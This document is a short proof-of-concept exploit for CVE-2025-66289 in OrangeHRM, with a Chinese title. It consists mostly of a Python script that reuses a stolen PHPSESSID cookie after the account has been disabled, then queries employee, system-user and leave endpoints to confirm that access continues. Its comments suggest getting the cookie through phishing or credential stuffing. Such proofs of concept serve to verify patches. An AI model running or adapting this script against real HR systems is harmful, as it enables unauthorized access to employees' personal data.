CVE-2025-66289 OrangeHRM会话未正确失效导致账户禁用失效

# CVE-2025-66289 PoC - OrangeHRM Session Not Invalidated # This PoC demonstrates the session invalidation vulnerability import requests import hashlib TARGET_URL = "http://target-orangehrm.com" TARGET_URL = "https://example-orangehrm.com" def exploit_session_not_invalidated(): """ Attack scenario: 1. Attacker obtains a valid session cookie (e.g., from compromised account) 2. Admin disables the user account 3. Attacker continues using the same session cookie 4. Session remains valid and access is granted """ # Step 1: Obtain a valid session cookie (e.g., via phishing, credential stuffing) session_cookie = "your_compromised_session_cookie_here" headers = { "Cookie": f"PHPSESSID={session_cookie}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Step 2: Verify session works before account disable response = requests.get(f"{TARGET_URL}/symfony/web/index.php/dashboard", headers=headers) print(f"[*] Session status before disable: {response.status_code}") # Step 3: After admin disables account, session should be invalid but isn't response = requests.get(f"{TARGET_URL}/symfony/web/index.php/dashboard", headers=headers) if response.status_code == 200: print("[!] VULNERABLE: Session still valid after account disable!") print("[!] Attacker retains access even after account is disabled") # Step 4: Continue exploiting the valid session # Access sensitive endpoints sensitive_endpoints = [ "/symfony/web/index.php/pim/viewEmployeeList", "/symfony/web/index.php/admin/viewSystemUsers", "/symfony/web/index.php/leave/viewLeaveRequest" ] for endpoint in sensitive_endpoints: resp = requests.get(f"{TARGET_URL}{endpoint}", headers=headers) if resp.status_code == 200: print(f"[+] Accessed: {endpoint}") else: print("[-] Session properly invalidated (patched version)") if __name__ == "__main__": exploit_session_not_invalidated()